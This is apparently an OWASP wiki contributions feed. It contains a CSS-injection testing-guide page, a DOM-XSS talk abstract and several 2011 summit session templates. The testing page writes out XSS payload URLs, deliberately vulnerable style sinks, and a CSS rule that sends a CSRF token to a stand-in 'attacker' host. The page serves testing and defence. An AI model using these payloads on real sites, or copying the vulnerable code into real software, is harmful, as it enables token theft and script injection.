OWASP - User contributions [en]

Testing for CSS Injection (OTG-CLIENT-005)

2018-01-08T14:20:17Z

Wisec: fixed broken link

{{Template:OWASP Testing Guide v4}}

== Summary ==

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.

== How to Test ==
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink). This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section "Style Sinks".

<pre>
<a id="a1">Click me</a>
<script>
if (location.hash.slice(1)) {
document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1);
}
</script>
</pre>

Specifically the attacker could target the victim by asking her to visit the following URLs: 
<ul>
<li>www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12])</li>
<li>www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)</li>
</ul>

The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:

<pre>
<style>
p {
color: <?php echo $_GET['color']; ?>;
text-align: center;
}
</style>
</pre>

Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows. In particular, input[name=csrf_token][value=^a] represents an element with the attribute "name" set "csrf_token" and whose attribute "value" starts with "a". By detecting the length of the attribute "value", it is possible to carry out a brute force attack against it and send its value to the attacker's domain.

<pre>
<style>
input[name=csrf_token][value=^a] {
background-image: url(http://attacker/log?a);
}
</style>
</pre>

Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details.

=== Black Box testing ===
We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".

=== Gray Box testing ===
'''Testing for CSS Injection vulnerabilities:''' 
Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs.

The following is a basic example:

<pre>
<a id="a1">Click me</a>
Hi
<script>
$("a").click(function(){
$("b").attr("style","color: " + location.hash.slice(1));
});
</script>
</pre>

The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload.

It is recommended that testers use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context.

<pre>
<a id="a1">Click me</a>
Hi
<script>
$("a").click(function(){
$("b").css("color",location.hash.slice(1));
});
</script>
</pre>

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText

'''Presentations''' 
* DOM Xss Identification and Exploitation, Stefano Di Paola - [https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dominator/DOMXss_Identification_and_exploitation.pdf http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf]
* Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA
* Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx

'''Proof of Concepts''' 
* Password "cracker" via CSS and HTML5 - http://html5sec.org/invalid/?length=25
* CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/

OWASP AppSec DC 2012/Unraveling some of the Mysteries around DOMbased XSS

2012-04-03T13:14:21Z

Wisec:

<noinclude>{{:OWASP AppSec DC 2012 Header}}</noinclude>
__NOTOC__
== The Presentation ==
DOM-based XSS was first revealed to the world back in 2005 by Amit Klien, when it was an interesting theoretical vulnerability. In 2012, with the push towards Web 2.0 well into the mainstream, DOM-based XSS has become a very commonly uncovered and exploited vulnerability, but it's poorly understood. This talk will focus on the full range of issues around DOM-based XSS. It will start with a discussion of the technical details of the vulnerability, the true nature of the risk it introduces (both likelihood and impact), and some new terminology and updated definitions about what truly is a DOM-based XSS vulnerability as compared to the standard Stored and Reflected XSS that the community is well aware of. It will then discuss the difficulties that security analysts face when trying to find DOM-based XSS flaws, and provide recommended analysis techniques that help move DOM-based XSS discovery from an art towards more of a science. And finally, it will discuss simple techniques for avoiding DOM-based XSS issues in the first place as well as how to mitigate issues that are uncovered during a security review. This talk will include discussion of numerous open source resources that are available on this topic. OWASP has numerous articles on DOM-based XSS, including a definition article (https://www.owasp.org/index.php/DOM_Based_XSS), an OWASP testing guide article _site_scripting_(OWASP-DV-003)), and the DOM-based XSS prevention cheat sheet eat_Sheet), and there are also other open source articles from leading researchers like Stefano Di Paola (http://code.google.com/p/domxsswiki/wiki/Introduction) as well. The speaker has already contributed to all of these OWASP articles and in preparation for this talk, plans to review and contribute additional enhancements to each of these articles in order to make the author's recommendations publically available to the web security community in a very broad manner far beyond just delivering this talk at AppSec DC. The talk will also showcase and provide worked examples of how to use open source proxy tools like OWASP ZAP (https://www.owasp.org/index.php/ZAP) and WebScarab (https://www.owasp.org/index.php/WebScarab), along with Firebug and Chrome's developer tools to track down DOM-based XSS issues within an application. The only open source DOM-based XSS detection tool, DOMinator (http://code.google.com/p/dominator/), will also be showcased in this talk.
== The Speakers ==
<table>
<tr>
<td>
===Dave Wichers===
[[Image:Owasp_logo_normal.jpg|left]]Bio TBA
</td>
</tr>
</table>
<noinclude>{{:OWASP AppSec DC 2012 Footer}}</noinclude>

Summit 2011 Working Sessions/Session043

2011-02-05T08:10:13Z

Wisec:

{{Template:<includeonly>{{{1}}}</includeonly><noinclude>Summit 2011 Working Sessions test tab</noinclude>
|-

| summit_session_attendee_name1 = Lucas C. Ferreira
| summit_session_attendee_email1 = lucas.ferreira@owasp.org
| summit_session_attendee_username1 =
| summit_session_attendee_company1=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed1=

| summit_session_attendee_name2 = Achim Hoffmann
| summit_session_attendee_email2 = achim@owasp.org
| summit_session_attendee_username2 = Achim
| summit_session_attendee_company2= sic[!]sec
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed2=

| summit_session_attendee_name3 = Justin Clarke
| summit_session_attendee_email3 = justin.clarke@owasp.org
| summit_session_attendee_username3 =
| summit_session_attendee_company3=Gotham Digital Science
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed3=How can we package, and/or make this easier for noobs to deploy?

| summit_session_attendee_name4 = Giorgio Fedon
| summit_session_attendee_email4 =
| summit_session_attendee_username4 = gfedon
| summit_session_attendee_company4=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed4=

| summit_session_attendee_name5 = Abraham Kang
| summit_session_attendee_email5 =
| summit_session_attendee_username5 =
| summit_session_attendee_company5=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed5=

| summit_session_attendee_name6 = Mario Heiderich
| summit_session_attendee_email6 =
| summit_session_attendee_username6 =
| summit_session_attendee_company6= Ruhr University Bochum / NDS
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed6= Filter Evasions

| summit_session_attendee_name7 = Gareth Heyes
| summit_session_attendee_email7 =
| summit_session_attendee_username7 =
| summit_session_attendee_company7= Businessinfo
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed7=

| summit_session_attendee_name8 = Eduardo Vela
| summit_session_attendee_email8 = evn@google.com
| summit_session_attendee_username8 = EduardoVela
| summit_session_attendee_company8= Google
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed8= ACS etc..

| summit_session_attendee_name9 = Stefano Di Paola
| summit_session_attendee_email9 =
| summit_session_attendee_username9 = Wisec
| summit_session_attendee_company9= Minded Security
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed9=

| summit_session_attendee_name10 =
| summit_session_attendee_email10 =
| summit_session_attendee_username10 =
| summit_session_attendee_company10=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed10=

| summit_session_attendee_name11 =
| summit_session_attendee_email11 =
| summit_session_attendee_username11 =
| summit_session_attendee_company11=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed11=

| summit_session_attendee_name12 =
| summit_session_attendee_email12 =
| summit_session_attendee_username12 =
| summit_session_attendee_company12=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed12=

| summit_session_attendee_name13 =
| summit_session_attendee_email13 =
| summit_session_attendee_username13 =
| summit_session_attendee_company13=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed13=

| summit_session_attendee_name14 =
| summit_session_attendee_email14 =
| summit_session_attendee_username14 =
| summit_session_attendee_company14=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed14=

| summit_session_attendee_name15 =
| summit_session_attendee_email15 =
| summit_session_attendee_username15 =
| summit_session_attendee_company15=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed15=

| summit_session_attendee_name16 =
| summit_session_attendee_email16 =
| summit_session_attendee_username16 =
| summit_session_attendee_company16=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed16=

| summit_session_attendee_name17 =
| summit_session_attendee_email17 =
| summit_session_attendee_username17 =
| summit_session_attendee_company17=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed17=

| summit_session_attendee_name18 =
| summit_session_attendee_email18 =
| summit_session_attendee_username18 =
| summit_session_attendee_company18=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed18=

| summit_session_attendee_name19 =
| summit_session_attendee_email19 =
| summit_session_attendee_username19 =
| summit_session_attendee_company19=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed19=

| summit_session_attendee_name20 =
| summit_session_attendee_email20 =
| summit_session_attendee_username20 =
| summit_session_attendee_company20=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed20=

|-
| summit_track_logo = [[Image:T._cross_site.jpg]]
| summit_ws_logo = [[Image:WS._cross_site.jpg]]
| summit_session_name = WAF Mitigations for XSS
| summit_session_url = http://www.owasp.org/index.php/Summit_2011_Working_Sessions/Session043
| mailing_list =

|-

| short_working_session_description= To discuss if/when/how web application firewalls can help to prevent XSS attacks

|-

| related_project_name1 = Blog post by Ryan Barnett on defending against XSS
| related_project_url_1 = http://blog.modsecurity.org/2010/09/advanced-topic-of-the-week-identifying-improper-output-handling-xss-flaws.html

| related_project_name2 = Blog post by Ryan Barnett on using content injection to combat XSS
| related_project_url_2 = http://blog.modsecurity.org/2010/09/advanced-topic-of-the-week-xss-defense-via-content-injection.html

| related_project_name3 = ModSecurity Demo
| related_project_url_3 = http://www.modsecurity.org/demo/demo-deny-noescape.html

| related_project_name4 =
| related_project_url_4 =

| related_project_name5 =
| related_project_url_5 =

|-

| summit_session_objective_name1= Improve XSS Attack Payload Detection Techniques

| summit_session_objective_name2 = Identifying Improper Output Handling Flaws in Web Apps

| summit_session_objective_name3 = Feasibility of Profile Page Scripts/Iframes

| summit_session_objective_name4 = Testing Injection of JS Sandbox Code in Responses

| summit_session_objective_name5 =

|-

| working_session_date_and_time =

|-

| discussion_model = participants and attendees

|-

| operational_resources = Projector, whiteboards, markers, Internet connectivity, power

|-

| working_session_additional_details =

|-

|summit_session_deliverable_name1 = White paper describing “Next Generation WAF Capabilities” such as the ones described above. Include areas requiring additional research and funding.

|summit_session_deliverable_name2 =

|summit_session_deliverable_name3 =

|summit_session_deliverable_name4 =

|summit_session_deliverable_name5 =

|summit_session_deliverable_name6 =

|summit_session_deliverable_name7 =

|summit_session_deliverable_name8 =

|-

| summit_session_leader_name1 = Ryan Barnett
| summit_session_leader_email1 = ryan.barnett@owasp.org
| summit_session_leader_username1 = Rcbarnett

| summit_session_leader_name2 =
| summit_session_leader_email2 =
| summit_session_leader_username2 =

| summit_session_leader_name3 =
| summit_session_leader_email3 =
| summit_session_leader_username3 =

|-

| operational_leader_name1 =
| operational_leader_email1 =
| operational_leader_username1 =

|-

| meeting_notes =

|-

| session_name_mask =  Session043
| session_home_page =  Summit_2011_Working_Sessions/Session043
}}

Summit 2011 Working Sessions/Session005

2011-01-25T09:46:44Z

Wisec:

{{Template:<includeonly>{{{1}}}</includeonly><noinclude>Summit 2011 Working Sessions test tab</noinclude>
|-

| summit_session_attendee_name1 = John Wilander
| summit_session_attendee_email1 = john.wilander@owasp.org
| summit_session_attendee_company1=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed1=

| summit_session_attendee_name2 = Michael Coates
| summit_session_attendee_email2 =
| summit_session_attendee_company2=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed2=

| summit_session_attendee_name3 = Colin Watson
| summit_session_attendee_email3 =
| summit_session_attendee_company3=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed3=

| summit_session_attendee_name4 = Stefano Di Paola
| summit_session_attendee_email4 =
| summit_session_attendee_company4=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed4=

| summit_session_attendee_name5 =
| summit_session_attendee_email5 =
| summit_session_attendee_company5=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed5=

| summit_session_attendee_name6 =
| summit_session_attendee_email6 =
| summit_session_attendee_company6=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed6=

| summit_session_attendee_name7 =
| summit_session_attendee_email7 =
| summit_session_attendee_company7=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed7=

| summit_session_attendee_name8 =
| summit_session_attendee_email8 =
| summit_session_attendee_company8=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed8=

| summit_session_attendee_name9 =
| summit_session_attendee_email9 =
| summit_session_attendee_company9=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed9=

| summit_session_attendee_name10 =
| summit_session_attendee_email10 =
| summit_session_attendee_company10=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed10=

| summit_session_attendee_name11 =
| summit_session_attendee_email11 =
| summit_session_attendee_company11=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed11=

| summit_session_attendee_name12 =
| summit_session_attendee_email12 =
| summit_session_attendee_company12=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed12=

| summit_session_attendee_name13 =
| summit_session_attendee_email13 =
| summit_session_attendee_company13=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed13=

| summit_session_attendee_name14 =
| summit_session_attendee_email14 =
| summit_session_attendee_company14=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed14=

| summit_session_attendee_name15 =
| summit_session_attendee_email15 =
| summit_session_attendee_company15=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed15=

| summit_session_attendee_name16 =
| summit_session_attendee_email16 =
| summit_session_attendee_company16=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed16=

| summit_session_attendee_name17 =
| summit_session_attendee_email17 =
| summit_session_attendee_company17=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed17=

| summit_session_attendee_name18 =
| summit_session_attendee_email18 =
| summit_session_attendee_company18=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed18=

| summit_session_attendee_name19 =
| summit_session_attendee_email19 =
| summit_session_attendee_company19=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed19=

| summit_session_attendee_name20 =
| summit_session_attendee_email20 =
| summit_session_attendee_company20=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed20=

|-
| summit_track_logo = [[Image:T._browser_security.jpg]]
| summit_ws_logo = [[Image:WS._browser_security.jpg]]
| summit_session_name = New HTTP Header
| summit_session_url = http://www.owasp.org/index.php/Summit_2011_Working_Sessions/Session005
| mailing_list = https://groups.google.com/group/owasp-summit-browsersec
|-

| short_working_session_description= Are new opt-in HTTP headers the right way to add security features? For example:
* [http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02 HTTP Strict Transport Security] for enforced HTTPS (supported in Chrome 4, Firefox+NoScript, Firefox 4 and up)
* [http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx X-Frame-Options] for non-framing (supported in IE8, FF3.6, Safari 4, Opera 10.5, Chrome 4 and up)
* [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Content Security Policy] for whitelisting of script and media sources (supported in Firefox 4 and up)

|-

| related_project_name1 = Browser Security Track - main page
| related_project_url_1 = http://www.owasp.org/index.php/Category:Summit_2011_Browser_Security_Track

| related_project_name2 = Google Group for the Browser Security Track
| related_project_url_2 = https://groups.google.com/group/owasp-summit-browsersec

| related_project_name3 =
| related_project_url_3 =

| related_project_name4 =
| related_project_url_4 =

| related_project_name5 =
| related_project_url_5 =

|-

| summit_session_objective_name1=

| summit_session_objective_name2 =

| summit_session_objective_name3 =

| summit_session_objective_name4 =

| summit_session_objective_name5 =
|-

| working_session_date_and_time = Tuesday, 09 February Time: TBA

|-

| discussion_model = The working form will most probably be short presentations to frame the topic and then round table discussions. Depending on number of attendees we'll break into groups.

|-

| operational_resources = Projector, whiteboards, markers, Internet connectivity, power

|-

| working_session_additional_details = 

===Co-chair John Wilander===
[http://www.owasp.org/index.php/User:John.wilander John Wilander] is chapter co-leader in Sweden and ran the AppSec conference in Stockholm 2010. He is still [http://www.ida.liu.se/~johwi/research_publications/ pursuing his PhD in software security] and works as an appsec consultant in media/banking/healthcare.

===Co-chair Michael Coates===
[http://www.owasp.org/index.php/User:MichaelCoates Michael Coates] is a long-time OWASP contributor and leader, as well as a Mozilla employee. He leads the [http://www.owasp.org/index.php/Category:OWASP_AppSensor_Project AppSensor] and the [http://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet TLS Cheat Sheet] project.
|-

|summit_session_deliverable_name1 = Browser Security Report
|summit_session_deliverable_url_1 =

|summit_session_deliverable_name2 = Browser Security Priority List
|summit_session_deliverable_url_2 =

|summit_session_deliverable_name3 =
|summit_session_deliverable_url_3 =

|summit_session_deliverable_name4 =
|summit_session_deliverable_url_4 =

|summit_session_deliverable_name5 =
|summit_session_deliverable_url_5 =

|-

| summit_session_leader_name1 = John Wilander
| summit_session_leader_email1 = john.wilander@owasp.org

| summit_session_leader_name2 = Michal Coates
| summit_session_leader_email2 = michael.coates@owasp.org

| summit_session_leader_name3 =
| summit_session_leader_email3 =

|-

| operational_leader_name1 = John Wilander
| operational_leader_email1 = john.wilander@owasp.org

|-
| meeting_notes =
|-
| session_name_mask =  Session005
| session_home_page =  Summit_2011_Working_Sessions/Session005
}}
</includeonly>

Summit 2011 Working Sessions/Session003

2011-01-25T09:46:19Z

Wisec:

{{Template:<includeonly>{{{1}}}</includeonly><noinclude>Summit 2011 Working Sessions test tab</noinclude>
|-

| summit_session_attendee_name1 = John Wilander
| summit_session_attendee_email1 = john.wilander@owasp.org
| summit_session_attendee_company1=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed1=

| summit_session_attendee_name2 = Michael Coates
| summit_session_attendee_email2 =
| summit_session_attendee_company2=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed2=

| summit_session_attendee_name3 = Colin Watson
| summit_session_attendee_email3 =
| summit_session_attendee_company3=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed3=

| summit_session_attendee_name4 = Stefano Di Paola
| summit_session_attendee_email4 =
| summit_session_attendee_company4=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed4=

| summit_session_attendee_name5 =
| summit_session_attendee_email5 =
| summit_session_attendee_company5=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed5=

| summit_session_attendee_name6 =
| summit_session_attendee_email6 =
| summit_session_attendee_company6=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed6=

| summit_session_attendee_name7 =
| summit_session_attendee_email7 =
| summit_session_attendee_company7=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed7=

| summit_session_attendee_name8 =
| summit_session_attendee_email8 =
| summit_session_attendee_company8=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed8=

| summit_session_attendee_name9 =
| summit_session_attendee_email9 =
| summit_session_attendee_company9=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed9=

| summit_session_attendee_name10 =
| summit_session_attendee_email10 =
| summit_session_attendee_company10=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed10=

| summit_session_attendee_name11 =
| summit_session_attendee_email11 =
| summit_session_attendee_company11=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed11=

| summit_session_attendee_name12 =
| summit_session_attendee_email12 =
| summit_session_attendee_company12=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed12=

| summit_session_attendee_name13 =
| summit_session_attendee_email13 =
| summit_session_attendee_company13=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed13=

| summit_session_attendee_name14 =
| summit_session_attendee_email14 =
| summit_session_attendee_company14=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed14=

| summit_session_attendee_name15 =
| summit_session_attendee_email15 =
| summit_session_attendee_company15=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed15=

| summit_session_attendee_name16 =
| summit_session_attendee_email16 =
| summit_session_attendee_company16=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed16=

| summit_session_attendee_name17 =
| summit_session_attendee_email17 =
| summit_session_attendee_company17=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed17=

| summit_session_attendee_name18 =
| summit_session_attendee_email18 =
| summit_session_attendee_company18=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed18=

| summit_session_attendee_name19 =
| summit_session_attendee_email19 =
| summit_session_attendee_company19=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed19=

| summit_session_attendee_name20 =
| summit_session_attendee_email20 =
| summit_session_attendee_company20=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed20=

|-
| summit_track_logo = [[Image:T._browser_security.jpg]]
| summit_ws_logo = [[Image:WS._browser_security.jpg]]
| summit_session_name = EcmaScript 5 Security
| summit_session_url = http://www.owasp.org/index.php/Summit_2011_Working_Sessions/Session003
| mailing_list = https://groups.google.com/group/owasp-summit-browsersec
|-

| short_working_session_description=
|-

| related_project_name1 = Browser Security Track - main page
| related_project_url_1 = http://www.owasp.org/index.php/Category:Summit_2011_Browser_Security_Track

| related_project_name2 = Google Group for the Browser Security Track
| related_project_url_2 = https://groups.google.com/group/owasp-summit-browsersec

| related_project_name3 =
| related_project_url_3 =

| related_project_name4 =
| related_project_url_4 =

| related_project_name5 =
| related_project_url_5 =

|-

| summit_session_objective_name1= '''Fix the problems with Object.defineProperty() and property unsealing / [https://bugzilla.mozilla.org/show_bug.cgi?id=588138 double-freezing]'''.<noinclude> Implement it if not yet done.</noinclude>

| summit_session_objective_name2 = <noinclude>'''Goal I''': </noinclude>Raise awareness for the power or object freezing in a security context. <noinclude>ES5 can really make a change here.</noinclude>

| summit_session_objective_name3 = <noinclude>'''Goal II''':</noinclude> Raise awareness in seeing the DOM as the place where XSS attacks actually take place - and where they should be prevented. <noinclude> CSP is a great yet still immature start - but worth discussing and extending. Discuss specification drafts for a secure DOM and easy to configure capability profiles with reasonable and quantitative proofs of concept.</noinclude>

| summit_session_objective_name4 = '''Long Term Goal''': Discuss the possibility of vendor supported client side security mechanisms. <noinclude>Client side IDS/IPS based on ES5 can be possible - yet have to be designed and specified. </noinclude>

| summit_session_objective_name5 =
|-

| working_session_date_and_time = Tuesday, 09 February Time: TBA

|-

| discussion_model = The working form will most probably be short presentations to frame the topic and then round table discussions. Depending on number of attendees we'll break into groups.

|-

| operational_resources = Projector, whiteboards, markers, Internet connectivity, power

|-

| working_session_additional_details = 

===Co-chair Mario Heiderich===
Mario Heiderich works as a researcher for the Ruhr-University in Bochum, Germany and currently focuses on HTML5, SVG security and security implications of the ES5 specification draft. Mario invoked the [http://html5sec.org/ HTML5 security cheat-sheet] and maintains the [http://php-ids.org/ PHPIDS filter rules]. In his spare time he delivers trainings and security consultancy for larger German and international companies. He is also one of the co-authors of [http://www.amazon.com/Web-Application-Obfuscation-WAFs-Evasion-Filters-alert/dp/1597496049 Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'] – a book on how an attacker would bypass different types of security controls including IDS/IPS.

===Co-chair 2===
To be confirmed.

|-

|summit_session_deliverable_name1 = Browser Security Report
|summit_session_deliverable_url_1 =

|summit_session_deliverable_name2 = Browser Security Priority List
|summit_session_deliverable_url_2 =

|summit_session_deliverable_name3 =
|summit_session_deliverable_url_3 =

|summit_session_deliverable_name4 =
|summit_session_deliverable_url_4 =

|summit_session_deliverable_name5 =
|summit_session_deliverable_url_5 =

|-

| summit_session_leader_name1 = Mario Heiderich
| summit_session_leader_email1 =

| summit_session_leader_name2 = TBC
| summit_session_leader_email2 =

| summit_session_leader_name3 =
| summit_session_leader_email3 =

|-

| operational_leader_name1 = John Wilander
| operational_leader_email1 = john.wilander@owasp.org

|-
| meeting_notes =
|-
| session_name_mask =  Session003
| session_home_page =  Summit_2011_Working_Sessions/Session003
}}
</includeonly>

Summit 2011 Working Sessions/Session002

2011-01-25T09:45:55Z

Wisec:

{{Template:<includeonly>{{{1}}}</includeonly><noinclude>Summit 2011 Working Sessions test tab</noinclude>
|-

| summit_session_attendee_name1 = John Wilander
| summit_session_attendee_email1 = john.wilander@owasp.org
| summit_session_attendee_company1=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed1=

| summit_session_attendee_name2 = Michael Coates
| summit_session_attendee_email2 =
| summit_session_attendee_company2=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed2=

| summit_session_attendee_name3 = Colin Watson
| summit_session_attendee_email3 =
| summit_session_attendee_company3=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed3=

| summit_session_attendee_name4 = Stefano Di Paola
| summit_session_attendee_email4 =
| summit_session_attendee_company4=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed4=

| summit_session_attendee_name5 =
| summit_session_attendee_email5 =
| summit_session_attendee_company5=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed5=

| summit_session_attendee_name6 =
| summit_session_attendee_email6 =
| summit_session_attendee_company6=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed6=

| summit_session_attendee_name7 =
| summit_session_attendee_email7 =
| summit_session_attendee_company7=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed7=

| summit_session_attendee_name8 =
| summit_session_attendee_email8 =
| summit_session_attendee_company8=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed8=

| summit_session_attendee_name9 =
| summit_session_attendee_email9 =
| summit_session_attendee_company9=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed9=

| summit_session_attendee_name10 =
| summit_session_attendee_email10 =
| summit_session_attendee_company10=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed10=

| summit_session_attendee_name11 =
| summit_session_attendee_email11 =
| summit_session_attendee_company11=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed11=

| summit_session_attendee_name12 =
| summit_session_attendee_email12 =
| summit_session_attendee_company12=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed12=

| summit_session_attendee_name13 =
| summit_session_attendee_email13 =
| summit_session_attendee_company13=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed13=

| summit_session_attendee_name14 =
| summit_session_attendee_email14 =
| summit_session_attendee_company14=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed14=

| summit_session_attendee_name15 =
| summit_session_attendee_email15 =
| summit_session_attendee_company15=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed15=

| summit_session_attendee_name16 =
| summit_session_attendee_email16 =
| summit_session_attendee_company16=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed16=

| summit_session_attendee_name17 =
| summit_session_attendee_email17 =
| summit_session_attendee_company17=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed17=

| summit_session_attendee_name18 =
| summit_session_attendee_email18 =
| summit_session_attendee_company18=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed18=

| summit_session_attendee_name19 =
| summit_session_attendee_email19 =
| summit_session_attendee_company19=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed19=

| summit_session_attendee_name20 =
| summit_session_attendee_email20 =
| summit_session_attendee_company20=
| summit_session_attendee_notes,_reason_for_participating_and_issues_to_be discussed20=

|-
| summit_track_logo = [[Image:T._browser_security.jpg]]
| summit_ws_logo = [[Image:WS._browser_security.jpg]]
| summit_session_name = HTML5 Security
| summit_session_url = http://www.owasp.org/index.php/Summit_2011_Working_Sessions/Session002
| mailing_list = https://groups.google.com/group/owasp-summit-browsersec
|-

| short_working_session_description=
|-

| related_project_name1 = Browser Security Track - main page
